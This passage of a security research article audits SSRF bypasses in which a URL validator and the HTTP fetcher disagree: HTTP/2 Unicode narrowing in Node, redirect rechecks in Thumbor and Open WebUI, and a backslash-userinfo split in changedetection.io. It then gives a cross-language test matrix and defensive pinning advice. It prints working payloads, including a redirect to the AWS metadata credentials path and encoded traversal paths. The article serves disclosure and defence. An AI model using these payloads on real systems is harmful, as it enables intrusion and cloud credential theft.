header_string.As<v8::String>(),
LATIN1);
LATIN1 keeps the low byte of each UTF-16 code unit. U+0100 narrows to NUL and is rejected. Accepted codepoints above it can manufacture ASCII:
U+0140 ŀ -> 40 @ U+012F į -> 2f /
U+013F Ŀ -> 3f ? U+015C Ŝ -> 5c \
U+013A ĺ -> 3a :
Letters work too:
ť U+0165 -> 65 e Ŷ U+0176 -> 76 v
ũ U+0169 -> 69 i Ŭ U+016C -> 6c l
The validator sees ťŶũŬ.com. The peer sees evil.com. Captured after
HPACK decode:
JS :authority = "ťŶũŬ.com"
wire authority = "evil.com" hex 6576696c2e636f6d
JS :path = "/api/public/dataĿadmin=true"
wire path = "/api/public/data?admin=true"
JS :path = "/uploads/photoį..į..įetcįpasswd"
wire path = "/uploads/photo/../../etc/passwd"
A codepoint-level allowlist can therefore approve an authority, query, or
path whose ASCII delimiters do not exist until serialization. The narrowing
covers field values and :path, not the body.
Node’s HTTP/1 client rejects the same inputs with
ERR_UNESCAPED_CHARACTERS or its invalid-header guard. Those checks were
added for CVE-2018-12116 [13]. No equivalent check was present in the four
H/2 releases tested. The matrix was 4 releases (v20, v22, v24, v26.1.0) × 2
transports (TLS H/2, h2c) × 4 demos: all 32 trials produced the same wire
bytes. The defect site dates to the module’s 2017 release.
Proof: L, HTTP-request depth. No audited product carried untrusted Unicode
through a meaningful validator into direct node:http2 fields. Wrappers
stripped, encoded, constrained, or signed it;
SigV4 in particular makes the altered request fail authentication. axios
has an adjacent deletion mismatch—it removes U+0100+ instead of narrowing—
but no product chain was found in the audited paths. The primitive is the
result; a product scalp is not invented for it.
Redirects escape the original verdict: F5b
RFC 9110 §15.4 defines redirect status codes and the Location field. A
client may follow a redirect automatically; it is not required to. If it
follows, it sends a request to the new target. The RFC does not cause an
application’s SSRF validator to run again. The bug appears when the deployed
client follows URL1 after the application checked only URL0.
Thumbor proves this through a configured source allowlist. Open WebUI proves it in the opt-in Playwright loader at component level. Their prerequisites and proof depth differ.
Thumbor: the allowlist that checks one hop
Operators stand Thumbor on the public web and set ALLOWED_SOURCES
to restrict which upstream image hosts it will fetch, then route
transforms through URLs like /unsafe/200x200/example.cdn/cat.png.
The host is matched against the allowlist regex exactly once, in
thumbor/loaders/http_loader.py:49-71:
def validate(context, url, normalize_url_func=_normalize_url):
url = normalize_url_func(url)
res = urlparse(url)
if not res.hostname:
return False
if not context.config.ALLOWED_SOURCES:
return True
for pattern in context.config.ALLOWED_SOURCES:
if isinstance(pattern, Pattern):
match = url
else:
pattern = f"^{pattern}$"
match = res.hostname
if re.match(pattern, match):
return True
return False
It runs against the submitted URL and returns. The fetch that
follows builds a Tornado request that chases Location on its own,
in thumbor/loaders/http_loader.py:178-199:
req = tornado.httpclient.HTTPRequest(
url=url,
headers=headers,
follow_redirects=context.config.HTTP_LOADER_FOLLOW_REDIRECTS,
max_redirects=context.config.HTTP_LOADER_MAX_REDIRECTS,
...
)
response = await client.fetch(req, raise_error=True)
HTTP_LOADER_FOLLOW_REDIRECTS defaults to True and
HTTP_LOADER_MAX_REDIRECTS to 5 (thumbor/config.py:442-452).
ALLOWED_SOURCES defaults to an empty list, which allows every source
directly. A redirect becomes an allowlist bypass only when an operator
configures a non-empty list. The reproduction uses that documented
configuration. This is P evidence at response-body depth.
validate sees the allowlisted host; the client sees an
HTTPRequest and a Location header, and that is all it sees.
Both backends follow redirects through different code paths. The default
SimpleAsyncHTTPClient re-enters its own redirect logic in pure
Python (tornado/simple_httpclient.py _handle_redirect), and
CurlAsyncHTTPClient delegates to libcurl with
CURLOPT_FOLLOWLOCATION=1. Neither has a hook back into the
allowlist. The attacker needs one host that matches whatever regex
the operator wrote, and that host answers with a redirect:
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Content-Length: 0
On the shipped binary (thumbororg/thumbor:latest, Thumbor 7.7.7,
Tornado 6.4.2), with ALLOWED_SOURCES = ['attacker\.example'] and
every redirect default left alone, the loader follows the 302 into
a host the allowlist never approved:
curl /unsafe/200x200/internal.example/secret.png -> 400 (validator denied)
curl /unsafe/200x200/attacker.example/r -> 200 image/png, 195 bytes
[internal] GET /secret.png Host=internal.example UA=Thumbor/7.7.7
The internal GET arrives carrying Host: internal.example, not the
attacker.example the validator approved. Read-capability is gated
on the engine: when the upstream returns bytes PIL can decode,
Thumbor resizes them and serves the result back as a normal
image/png. The 195-byte transform above is the internal PNG
round-tripped to the caller. Two different redirect targets read
two distinct avatar paths on the same internal host and return
distinct md5sums. This proves a path-controlled internal image read, not an
authorization bypass between tenants.
The cloud reach is blind. On a real EC2 instance the loader follows a 302
into 169.254.169.254. The redirector log records the initial request and
fixed Location; the timing and PIL traceback support that the redirected
fetch completed. PIL refuses the credentials JSON, so Thumbor
returns HTTP 400 with an empty body. IMDS is reachable; the IAM
credentials do not leave Thumbor’s process over the HTTP response.
Against internal hosts the loader still maps the upstream outcome
to distinct status codes. That provides a service-enumeration and reachability
oracle even where the body does not return.
The unauthenticated case is the built-in default: ALLOW_UNSAFE_URL
is True in Thumbor’s defaults and in the shipped thumbor.conf
example, so /unsafe/... is reachable with no signature. Signing
does not close the bug. With ALLOW_UNSAFE_URL=False,
SECURITY_KEY set, and signed URLs, the redirect-reparse fires
unchanged because the validator and loader run post-signature;
the signature covers URL0, not the redirect target URL1. The bound
worth stating: in a deployment that signs only server-side-templated
URLs and allowlists no attacker-controllable host, reaching the bug
needs a separate precondition (an open signing endpoint, an
allowlist mistake, or a SECURITY_KEY leak).
Thumbor checks the submitted URL once, then configures Tornado to follow redirects. Tornado fetches URL1 without calling Thumbor’s configured allowlist again. Automatic following is permitted, not required, by the redirect specification.
Open WebUI: redirect inside the Playwright loader
The Open WebUI Playwright loader validates each submitted URL once with
validate_url, which resolves the host with socket.getaddrinfo
across both families and rejects any address where
ipaddress.ip_address(ip).is_global is false, including RFC 1918, loopback,
and link-local ranges (retrieval/web/utils.py:67-108). The check blocks
direct private addresses in the resolved set at validation time, but it
does not pin the later connection. It is also the last time the URL is
inspected. After it returns True, the URL flows to
SafePlaywrightURLLoader, which hands
it to Chromium (retrieval/web/utils.py:455-482):
async with async_playwright() as p:
...
for url in self.urls:
await self._safe_process_url(url)
page = await browser.new_page()
response = await page.goto(url, timeout=self.playwright_timeout)
...
text = await self.evaluator.evaluate_async(page, browser, response)
yield Document(page_content=text, metadata={'source': url})
page.goto opens the URL in headless Chromium, and Chromium follows
the Location header natively. Playwright’s Page.goto exposes no
parameter to disable redirect-following; the interception point is a
page.route('**/*', handler) hook the loader does not install. The redirect
happens inside Chromium, but the application can intercept it through that
hook.
This is a sixth shipping component path related to
GHSA-rh5x-h6pp-cjj6 (CVE-2026-45401) [14]. That advisory closed five
redirect-reparse paths by adding the AIOHTTP_CLIENT_ALLOW_REDIRECTS
env flag (default False) and threading it through those
aiohttp/requests paths. The Playwright loader uses neither client. It
spawns Chromium and calls page.goto. The existing flag is not wired to this
loader. Playwright can intercept navigation requests, but this component
installs no route handler.
Confirmed against the verbatim SafePlaywrightURLLoader from
HEAD (3660bc00fd807deced3400a63bfa6db47811a3bb) on the engine’s
pinned playwright==1.58.0 + Chromium stack. The PoC stubs neighboring Open
WebUI modules and does not drive a request through a running Open WebUI
server, so this is L evidence at response-body depth. The Playwright
loader is an opt-in feature:
[redirector 5.5.5.5] GET /r Host=attacker.example
[internal 10.5.5.5] GET /secret Host=internal.example
UA=Mozilla/5.0 (X11; Linux x86_64) ...
[result] metadata = {'source': 'http://attacker.example/r'}
[result] page_content[:200]: SSRF_PROOF_SECRET If Chromium reached
this body, the redirect chain landed on the internal target ...
=== SSRF CONFIRMED ===
The validator approves attacker.example, which uses an address Python
classifies as global and the lab aliases locally. Chromium follows the 302 to
internal.example at private address 10.5.5.5, and the body returns in
Document.page_content. The reflected body is the read channel. The
returned metadata contains only the submitted source URL, exactly
{'source': 'http://attacker.example/r'}. It does not expose the final URL.
The Playwright engine is opt-in (WEB_LOADER_ENGINE=playwright, shipped with a
dedicated compose file) and the attack requires an authenticated
user on the RAG ingestion surfaces; the lab redirector stands in
for an attacker-controlled public host. A component-level fix can abort
redirected requests through page.route. A complete defense also needs to
bind accepted resolution to the connection or enforce equivalent network
egress policy.
Composition
A handoff failure becomes a composition only when it carries a second, independent weakness into the request. Two separately working PoCs do not count. The combined request must land on the wire through deployed code.
[ URL0 passes ]
|
v
[ guard returns ]
|
redirect / re-entry
|
v
[ URL1 carries F? ] ---> internal target
Order matters. Re-entry can normalize a payload, reset Host, use another
parser, or rerun part of the guard. Each proposed pair is a fetcher-specific
measurement, not an algebraic promise.
A redirect as a parser oracle
changedetection.io supplies the composed result observed in the tested paths.
At add time it runs validators.url(). At fetch time and on each redirect
it runs only urlparse(url).hostname, then hands the string to urllib3. A
benign URL can therefore pass the full add-time path and later return:
HTTP/1.1 302 Found
Location: http://10.89.0.50\@example.com/redirect-probe
The redirect re-enters after validators.url() has disappeared.
urlparse reads the host after @ and approves example.com. urllib3 ends
the authority at the backslash and dials 10.89.0.50. The private listener
recorded the request.
The negative control explains the technique. Replace the literal backslash
with %5C and the three views agree; the split dies. The redirect is
therefore a differential oracle for the reduced validation path:
target per-hop guard urllib3 result
----------------------------------------------------------------
10.89.0.50\@... example.com 10.89.0.50 lands
10.89.0.50%5C@... same authority same authority dies
This is P evidence at HTTP-request depth for F1 × F5b. The direct F1 case
in §4.1 separately proves selected methods, headers, stored bodies, and live
IMDSv2. That deeper impact is not borrowed for the redirect leg.
One chain, no algebra
Among the product paths exercised here, this is the sole composition placed on the wire. GitLab is F11 alone: dropping the pin and resolving again is the weakness, not F11 × F2. Thumbor and Open WebUI prove redirects alone. F7 and F9 remain primitives. A chain assembled from separate labs is still not a finding.
RFC 3986 §§7.3-7.4 warned that multiple components interpret URI data during dereference and that resolvers accept numeric forms outside the URI grammar. RFC 9525 §7.4 later described one component misclassifying an IP as a name while the next assumes the IP rule was already enforced. One enforces; the next assumes.
That is prior art for the handoff, not an algebra. The useful result is the literal-backslash redirect above: a later entry point ran fewer validators and resurrected an old parser split. Every proposed composition still needs that request on the wire.
Across thirteen audited stacks
The product cases provide the application-level evidence. This matrix is the breadth check: URL parsers and HTTP clients across Java (two stacks), Go, Python, Node, Rust, C, .NET, PHP, BEAM, Ruby, Swift, and Haskell. A marker means at least one tested surface in that column disagreed. It does not mean every client is affected, or that an application exposes the primitive.
U raw URL payload A API-shape case
D resolver handoff H H/2 or H/1-vs-H/2 wire
T TLS / SNI identity V version/backend/flag dependent
- not observed
J1 is JDK URI/HttpClient plus OkHttp. J2 is Apache HttpClient, Netty, Reactor-Netty, and Jetty. The remaining abbreviations are language names. F4, F8, F9, and F11 depend on comparison, application lifecycle, serialization, or a discarded pin; their evidence lives in the case studies rather than this URL/API matrix.
Family | J1 | J2 | Go | Py | Nd | Rs | C
---------------------------------------------------------------------------
F1 Grammar drift / parser entrypoint | U | U | U | U | U | U | U
F1 Backslash + `@` authority | U | U | U | U | U | U | U
F1 Multi-`@` userinfo / host split | U | U | U | U | U | U | U
F1 Percent-encoded host delimiters | U | U | U | U | U | U | U
F12 IPv4 numeric forms | UD | UD | UD | UD | UD | U | UDV
F12 IPv6 text / zone / mapped forms | U | U | U | U | U | UT | U
F5a `%2E%2E` dot-segment collapse | U | U | U | U | U | U | UV
F6 Host header to H/2 `:authority` | AH | AH | AHT | AHT | AH | AH | AH
F7 Direct H/2 pseudo-header gaps | - | AH | H | H | AH | - | AH
F2 DNS resolver differential | - | AD | DV | D | D | AD | DV
F5b Redirect without target recheck | A | A | A | A | A | A | -
Family | DN | PHP | BE | Rb | Sw | Hs
----------------------------------------------------------------------
F1 Grammar drift / parser entrypoint | U | U | U | U | U | U
F1 Backslash + `@` authority | - | U | U | U | U | U
F1 Multi-`@` userinfo / host split | U | U | U | U | U | U
F1 Percent-encoded host delimiters | - | U | U | U | U | U
F12 IPv4 numeric forms | U | UD | UD | UD | UD | UD
F12 IPv6 text / zone / mapped forms | U | U | U | U | U | U
F5a `%2E%2E` dot-segment collapse | U | U | U | U | U | U
F6 Host header to H/2 `:authority` | AH | AH | AHT | AH | AHT | AH
F7 Direct H/2 pseudo-header gaps | - | - | AH | - | AH | AH
F2 DNS resolver differential | D | D | D | D | D | D
F5b Redirect without target recheck | A | A | A | A | A | A
Three rows show the broadest recurrence. F1 appears in all thirteen audited
columns: mixing parser entrypoints remains dangerous. F6 also spans this
matrix, but it is an API shape—an application must expose attacker-controlled
Host. F5b appears in twelve audited columns because at least one tested
client follows redirects by default; C is empty because libcurl and the
tested nghttp client default to no-follow.
F7 is thinner: eight columns contain at least one tested pseudo-header seam,
six contain a full application-API-to-wire result, and no guarded product in
the audited set assembled it. IPv4 numeric forms appeared in all thirteen
audited columns, but Rust and .NET canonicalize before the resolver handoff,
so their cells lack D. These differences are why the matrix is a test map,
not a vulnerability count.
Secure shapes exist. JDK HttpClient restricts Host by default. Apache
HttpClient can keep route and authority on one HttpHost. Bitwarden pins by
rewriting RequestUri to the selected literal. Mastodon checks each address
inside the connect loop. The seam is common, not inevitable.
The same question, asked of the libraries directly
The matrix above is a test map built by hand. To turn it into a distribution I
built a differential oracle. The same crafted input goes to every library at
every stage, and the four-value tuple {validator-host, resolver-IP, emitted :authority, dialed-IP} is diffed across each hop. One run produces 1855
verdicts across 16 validators and 5 clients in 8 languages.
Asked about the changedetection.io shape from the backslash case above, delivered through an F5b redirect, the library layer splits four ways:
validator (parses the redirect target) -> host client -> dialed verdict
---------------------------------------------------------------------------------------------------------
fasthttp / urllib.parse / Python urlsplit example.com urllib3 169.254.169.254 SURVIVES
whatwg-url / Node WHATWG / legacy url.parse 169.254.169.254 urllib3 169.254.169.254 BLOCKED
net/url / yarl REJECT (invalid) urllib3 - PARSE-REJECT
any example.com libcurl / Go example.com AGREE / BLOCKED
No parser here is wrong. The bug is a validator that reads the backslash as userinfo paired with a fetcher that reads it as a host terminator, and the oracle enumerates which pairs land there. Four real clients behave four different ways.
The negative control holds. The %5C@ variant makes every parser re-agree on
example.com and survivals drop to zero, which is what makes the first result
worth reporting.
The full oracle is published separately: what it instruments, the per-classifier gap totals, the IDN engine divergence, the F1-F15 taxonomy including the three families this article does not reach, and the unchecked cells of the seam space. The URL Parser Cheatsheet.
Defense: the Mastodon pattern, per language
The required controls are consistent across languages. Prefer an allowlist when the use case has a fixed destination set. Otherwise, resolve the host, evaluate each address immediately before attempting it against direct special-use ranges and the deployment’s routed translation prefixes, then dial that literal. Rejecting the whole answer set if any member is forbidden is a valid stricter policy. Apply the same procedure to every redirect target and enforce network egress separately.
The Ruby reference is Mastodon. app/lib/request.rb:285-365:
class Socket < TCPSocket
class << self
def open(host, *args)
...
addresses.each do |address|
check_private_address(address, host)
sock = ::Socket.new(address.match?(Resolv::IPv6::Regex) ?
::Socket::AF_INET6 : ::Socket::AF_INET,
::Socket::SOCK_STREAM, 0)
sockaddr = ::Socket.pack_sockaddr_in(port, address.to_s)
...
sock.connect_nonblock(sockaddr)
...
end
...
end
def check_private_address(address, host)
addr = IPAddr.new(address.to_s)
...
raise Mastodon::PrivateNetworkAddressError, host if
PrivateAddressCheck.private_address?(addr)
end
end
end
On Mastodon’s normal direct path, the validator runs inside the connect loop
for each address the client attempts. It runs immediately before
connect_nonblock, and the socket dials that literal rather than re-resolving
the name. The loop may return after the first successful connection, so this
is not a pre-screen of every DNS answer. Redirect targets enter the same
direct path. If use_proxy? or @allow_local is true, Mastodon selects
ProxySocket, whose check_private_address is a no-op. The direct path
handles F2, F5b, and F11, but not F12’s classifier coverage.
The policy must know the deployment’s routed prefixes; no fixed public list
can decode an arbitrary operator-selected NAT64 prefix.
Per-language equivalents use the same requirement: the client must expose a hook between resolve and connect where the application inspects the resolved address and dials that exact address instead of the name.
- C / libcurl.
CURLOPT_RESOLVE(hostname:port:ip) pins the resolved address; libcurl will not re-resolve. Pair withCURLOPT_PROTOCOLS_STR/CURLOPT_REDIR_PROTOCOLS_STRset tohttp,httpsso a redirect togopher://orfile://cannot land. - Go.
http.Transport.DialContextis the canonical pin hook; Doyensec’ssafeurl[35] is a reference implementation. It runs the allow/block list against the actual dialed IP through the dialerControlhook. Include Security shipped related Python, Ruby, and PHP implementations as SafeURL and SafeCURL in 2016 [36]. Pinning the dial address does not pin:authorityagainst areq.Hostoverride (§7.1); handle that separately. - .NET.
SocketsHttpHandler.ConnectCallbackis one pinning hook. Bitwarden uses another valid design: resolve and validate, rewriteRequestUrito the selected IP, and preserve the original host in theHostheader. Its F12 defect is in the classifier, not the pin. - Java. OkHttp exposes a per-client
Dnsinterface, and Apache HttpClient exposesDnsResolver. JDKHttpClientexposes neither a per-client resolver nor a customSocketFactory. Java 18 and later provideInetAddressResolverProvider, but it installs one system-wide resolver for the JVM. It is not a per-request pinning hook [39]. - Node. An Undici connector receives connection options such as
hostname,port, andservername; it does not receive a resolved address list. A custom connector orlookupfunction must resolve, validate, and dial a selected literal while preserving the original name for TLS. An Agent applies tofetchonly when passed as the request’sdispatcheror installed withsetGlobalDispatcher()[40]. - Rust.
reqwest::Client::builder().resolve(host, addr)pins at the client level; for per-request pinning, wraphyper’s connector with a validating resolver. - PHP. Guzzle over the curl handler with
CURLOPT_RESOLVEincurloptions; the validator must compute the pin and set it.
Validate the fetcher’s representation, then bind it to use. Parsing with
the same library is necessary but not sufficient. urllib3.util.parse_url
avoids the changedetection parser split, but the resolved address still has
to be carried into the connection and every redirect target needs the same
policy. URI.parse(url) is what Net::HTTP will dial; check that instead of
the output of a gsub chain. Validate the fetcher’s canonical parse output,
or convert the URL once into a (scheme, host, port, ip, path) tuple and do
not pass the original string downstream.
Where the blade stopped
A primitive is not a product bug, a classifier pass is not a routed packet, and two working legs are not a chain. The audit produced useful dead ends; this is the relevant compressed record.
Mechanisms without a guarded product
F7 needs three conditions in one process: a destination policy, direct
attacker control of H/2 :authority or :path, and no validation of that
field. Netty, node:http2, nghttp2, Swift NIO, Haskell http2, and BEAM
expose enough API surface to build the split. None of the audited products
exposed all three conditions.
F9 is equally bounded. Node v20, v22, v24, and v26.1.0 narrowed the same
Unicode strings to the same bytes over TLS H/2 and h2c, but the product hunt
stopped before a trust boundary. APNs wrappers stripped or encoded the
input; SigV4 made the wire mismatch fail authentication; the other audited
callers did not let attacker-controlled Unicode reach direct node:http2
fields. The runtime defect is real. A product exploit is not claimed.
Bytes that did not become routes
The F12 rule is simple: decodes to does not mean routes to. CGNAT needs
an on-link network or another route to 100.64.0.0/10. NAT64 and SIIT need
the matching prefix, translator, and IPv4 route. The AWS, ThingsBoard, and
Nextcloud cases in §5.3 supplied those paths; classifier-only Mattermost and
Mastodon trials ended in timeout or ENETUNREACH. 6to4 and Teredo carry
routing or tunnel metadata, not a generic HTTP destination. IPv4-compatible
semantics are deprecated. No route, no delivery claim.
Managed infrastructure makes the condition practical, not automatic. AWS
NAT Gateway can carry 64:ff9b::/96 to supported private IPv4 routes; GCP
Private NAT64 can do the same. Using the well-known prefix for non-global
IPv4 falls outside RFC 6052 §3.1, but it is deployed behavior. It remains an
operator-created route, not a property of every IPv6 host.
Alt-Svc, HTTPS records, and ORIGIN [5][6][7] produced component behavior but
no product chain in this audit. For an already-HTTPS URI, Alt-Svc and HTTPS
records can select another endpoint without changing the origin. ORIGIN can
authorize another origin on an existing connection only when the peer
certificate covers it. HTTP/3 retains the Host/:authority requirement and
rejects invalid decoded fields [4]. None of the audited products joined those
mechanisms to an attacker-controlled internal fetch.
The RFC 7540-versus-9113 Host/:authority difference also stopped at one
h2c origin. Go and Node exposed both values to application code; hyper-h2
rejected the mismatch and Apache normalized it. nginx rejected it, while
Caddy, HAProxy, and Envoy rebuilt Host from :authority. No tested proxy
forwarded the split, so there is no proxy-chain desync finding.
The empirical boundary
Within the products and paths tested in this audit, one composition was wire-confirmed: changedetection.io at F1 × F5b. GitLab is F11 by itself; Thumbor and Open WebUI are F5b by themselves. No tested product path carried F7 or F9 into a second family. A plausible chain assembled from separate labs remains unconfirmed until its combined request reaches the wire.
The opening Mealie trace is the compact model: the guard approved A and the fetcher dialed AAAA. The other families change which representation is lost, not the invariant. A verdict that does not survive into the object, resolver, socket, authority, and next hop is only a comment on an earlier state.
Prior art and acknowledgements
The method starts with Orange Tsai’s A New Era of SSRF (Black Hat USA 2017) [0]: compare the parsers an application applies to one URL. Tsai applied that method to the URL parser and HTTP/1 requester. This article applies it after parsing, through resolution, object mutation, authority emission, and redirects.
The parse-stage seam in §4 was mapped long before this audit. Claroty Team82
and Snyk cross-tested sixteen libraries in Exploiting URL Parsing
Confusion (2022) [18] and named the validate-with-one-parser,
fetch-with-another failure. Reynolds, Bates and Bailey’s Equivocal URLs
(ESORICS 2022) [29] and Ajmani, Koishybayev and Kapravelos’s yoU aRe a Liar
(SecWeb 2022) [30] put the parser-differential class on a formal footing.
Daniel Stenberg’s My URL isn’t your URL (2016) [31] states the rule plainly:
do not mix parsers. The F6 and F7 Host-header and HTTP/2 :authority
primitives descend from James Kettle’s Cracking the Lens and HTTP/2: The
Sequel is Always Worse [28][17].
The IPv6-transition classifier gap (§5.3, F12) has been documented independently and contemporaneously across the 2026 public advisory and research stream [19]-[24]. This audit contributes breadth, the routes-to-versus-decodes-to correction, and the cloud-routing observation, not the family itself.
Thanks to the maintainers of JDK, .NET, Go, Node.js, Apache HttpComponents,
curl, PHP, Ruby URI, OkHttp, undici, Jetty, Reactor Netty, Swift Foundation,
Haskell http-client and http2, WHATWG URL, and Ada URL. Thanks also to the
projects whose maintainers reviewed these findings.
Language-model tools assisted source navigation and draft review. The author verified the PoCs, wire transcripts, and final claims.
The source excerpts, conditions, and wire transcripts above are the article’s public proof record.
References
[0] Orange Tsai, “A New Era of SSRF: Exploiting URL Parser in
Trending Programming Languages", Black Hat USA 2017.
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF.pdf
[1] RFC 3986, “Uniform Resource Identifier (URI): Generic
Syntax", 2005. https://www.rfc-editor.org/rfc/rfc3986
[2] RFC 9110, “HTTP Semantics”, 2022.
https://www.rfc-editor.org/rfc/rfc9110
[3] RFC 9113, “HTTP/2”, 2022.
https://www.rfc-editor.org/rfc/rfc9113
[4] RFC 9114, “HTTP/3”, 2022.
https://www.rfc-editor.org/rfc/rfc9114
[5] RFC 7838, “HTTP Alternative Services”, 2016.
https://www.rfc-editor.org/rfc/rfc7838
[6] RFC 8336, “ORIGIN HTTP/2 Frame”, 2018.
https://www.rfc-editor.org/rfc/rfc8336
[7] RFC 9460, “Service Binding and Parameter Specification via
the DNS (SVCB and HTTPS Resource Records)", 2023.
https://www.rfc-editor.org/rfc/rfc9460
[8] RFC 6052, “IPv6 Addressing of IPv4/IPv6 Translators”,
2010. https://www.rfc-editor.org/rfc/rfc6052
[9] RFC 6146, “Stateful NAT64”, 2011.
https://www.rfc-editor.org/rfc/rfc6146
[10] RFC 8305, “Happy Eyeballs Version 2”, 2017.
https://www.rfc-editor.org/rfc/rfc8305
[11] WHATWG URL Living Standard.
https://url.spec.whatwg.org/
[12] CVE-2017-3164 and CVE-2021-27905: Apache Solr shards
SSRF.
https://nvd.nist.gov/vuln/detail/CVE-2017-3164
https://nvd.nist.gov/vuln/detail/CVE-2021-27905
[13] CVE-2018-12116: Node.js HTTP/1 client hostname-spoofing /
header smuggling.
https://nodejs.org/en/blog/vulnerability/november-2018-security-releases/
[14] CVE-2026-45401: Open WebUI redirect-follow SSRF
(GHSA-rh5x-h6pp-cjj6); the F5b Playwright finding in §8.2
extends the parent advisory to a sixth code path.
https://github.com/open-webui/open-webui/security/advisories/GHSA-rh5x-h6pp-cjj6
[15] GHSA-cc8x-jrqv-hmwh: FastGPT DNS rebinding SSRF.
https://github.com/labring/FastGPT/security/advisories/GHSA-cc8x-jrqv-hmwh
[16] GHSA-wvjg-9879-3m7w: AutoGPT DNS rebinding SSRF.
https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-wvjg-9879-3m7w
[17] PortSwigger, “HTTP/2: The Sequel is Always Worse”.
https://portswigger.net/research/http2
[18] Claroty Team82 / Snyk, “Exploiting URL Parsing Confusion”,
Jan 2022.
https://claroty.com/team82/research/exploiting-url-parsing-confusion
[19] CVE-2026-44430: MCP Registry SSRF via IPv6 transition
forms.
https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-r48c-v28r-pf6v
[20] CVE-2026-44232: dssrf NPM module SSRF via IPv6 categories.
https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-8p33-q827-ghj5
[21] CVE-2026-44589: nuxt-og-image SSRF re-bypass via IPv6
forms.
https://github.com/nuxt-modules/og-image/security/advisories/GHSA-c2rm-g55x-8hr5
[22] CVE-2026-46678: Pydantic-AI SSRF cloud-metadata blocklist
bypass via IPv6 transition forms.
https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3
[23] HackerOne #3634400: ssrf_filter (Ruby) bypass via NAT64
local-use prefix `64:ff9b:1::/48`.
https://hackerone.com/reports/3634400
[24] GHSA-jrvc-8ff5-2f9f: openclaw SSRF via full-form
IPv4-mapped IPv6.
https://github.com/openclaw/openclaw/security/advisories/GHSA-jrvc-8ff5-2f9f
[25] GHSA-v2gc-rm6g-wrw9: Craft CMS SSRF via gethostbyname
(IPv4-only) vs Guzzle dual-stack: the direct ancestor of
§5.1's F2 mechanism.
https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9
[26] CVE-2026-27696 / GHSA-3c45-4pj5-ch7m: changedetection.io
SSRF (fixed 0.54.1). §4.1's finding survives this fix
because the patched `is_private_hostname` consumes
`urlparse(url).hostname`, the same parser the three-parser
disagreement is about.
https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m
[27] CVE-2024-31991 / CVE-2024-31993: Mealie SSRF predecessors,
fixed in 1.4.0 by adding the `safehttp` module. §5.1's
finding is in the new guard.
https://nvd.nist.gov/vuln/detail/CVE-2024-31991
https://nvd.nist.gov/vuln/detail/CVE-2024-31993
[28] James Kettle, “Cracking the Lens: Targeting HTTP’s Hidden
Attack Surface", Black Hat USA 2017. §7.1's F6 and §7.2's
F7 are its egress dual.
https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface
[29] J. Reynolds, A. Bates, M. Bailey, “Equivocal URLs:
Understanding the Fragmented Space of URL Parser
Implementations", ESORICS 2022.
https://sts.cs.illinois.edu/papers/paper/EquivocalURLsUnderst20220926.html
[30] D. K. Ajmani, I. Koishybayev, A. Kapravelos, “yoU aRe a
Liar:// A Unified Framework for Cross-Testing URL Parsers",
IEEE SecWeb 2022.
https://kapravelos.com/publications/youarealiar-secweb22.pdf
[31] Daniel Stenberg, “My URL isn’t your URL”, 2016.
https://daniel.haxx.se/blog/2016/05/11/my-url-isnt-your-url/
[32] RFC 9525, “Service Identity in TLS”, 2023. §7.4 names the
classifier-drift pattern. https://www.rfc-editor.org/rfc/rfc9525
[33] Symfony Security Advisory CVE-2026-48736: IpUtils omits
IPv6 transition forms (SSRF bypass in
NoPrivateNetworkHttpClient), May 2026.
https://github.com/symfony/symfony/security/advisories/GHSA-38cx-cq6f-5755
[34] OWASP, “Server Side Request Forgery Prevention Cheat Sheet”.
https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
[35] Doyensec, “safeurl” (SSRF-protection library for Go) and
"safeurl for Go", 2022.
https://github.com/doyensec/safeurl
https://blog.doyensec.com/2022/12/13/safeurl.html
[36] Include Security, SafeURL / SafeCURL (2016) and “Mitigating
SSRF in 2023".
https://blog.includesecurity.com/2023/03/mitigating-ssrf-in-2023/
[37] Amazon Web Services, “DNS64 and NAT64” and “NAT gateway basics”.
https://docs.aws.amazon.com/vpc/latest/userguide/nat-gateway-nat64-dns64.html
https://docs.aws.amazon.com/vpc/latest/userguide/nat-gateway-basics.html
[38] Google Cloud, “IPv6-to-IPv4 overview”, “Private NAT”, and Cloud
NAT release notes.
https://docs.cloud.google.com/vpc/docs/ipv6-to-ipv4-overview
https://docs.cloud.google.com/nat/docs/private-nat
https://docs.cloud.google.com/nat/docs/release-notes
[39] Oracle Java 21 API, HttpClient.Builder, HttpClient.Redirect, and
`InetAddressResolverProvider`.
https://docs.oracle.com/en/java/javase/21/docs/api/java.net.http/java/net/http/HttpClient.Builder.html
https://docs.oracle.com/en/java/javase/21/docs/api/java.net.http/java/net/http/HttpClient.Redirect.html
https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/net/spi/InetAddressResolverProvider.html
[40] Undici 8.7.0, Connector, Fetch, and global dispatcher documentation.
https://github.com/nodejs/undici/blob/v8.7.0/docs/docs/api/Connector.md
https://github.com/nodejs/undici/blob/v8.7.0/docs/docs/api/Fetch.md
https://github.com/nodejs/undici/blob/v8.7.0/lib/global.js
[41] RFC 3056, “Connection of IPv6 Domains via IPv4 Clouds”, 2001.
https://www.rfc-editor.org/rfc/rfc3056
[42] RFC 4291, “IP Version 6 Addressing Architecture”, 2006.
https://www.rfc-editor.org/rfc/rfc4291
|=[ EOF ]=---------------------------------------------------------------=|